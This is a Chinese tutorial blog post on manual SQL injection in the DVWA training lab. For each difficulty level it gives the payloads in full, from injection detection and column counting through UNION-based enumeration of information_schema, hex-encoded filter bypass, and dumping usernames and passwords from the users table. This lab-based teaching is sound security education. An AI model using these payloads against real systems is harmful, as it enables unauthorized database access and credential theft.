开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第4天,点击查看活动详情 DVWA靶场实操演示(二)
二 、 DVWA靶场实操演示
1 . SQL手工注入 (对应 SQL Injection 模块)
SQL注入
SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
手工注入的简要步骤
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
各难度演示
低
代码审计
1'or 1=1# // 判断是否存在注入,注入是字符型还是数字型
1'order by 2# // 猜解SQL查询语句中的字段数
-1'union select 1,2# // 确定显示的字段顺序
-1'union select 1,database()# // 获取当前数据库
-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'#
(-1'union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#) // 获取数据库中的表
-1'union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# // 获取表中的字段名
-1'union select group_concat(user_id,first_name),group_concat(user,password) from users# // 获取想要的信息
中
代码审计
漏洞利用
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。
1' or 1=1#
1 order by 2#
-1 union select 1,2#
-1 union select 1,database()#
-1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
(-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=0x64767761#)
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
-1 union select group_concat(user_id,first_name),group_concat(user,password) from users#
高
代码审计
方法(操作步骤详见视频)
漏洞利用
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;其余步骤与低一致
查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转(页面重定向跳转),这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
Impossible
代码审计
有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!下章见哦!各位
有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!
有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!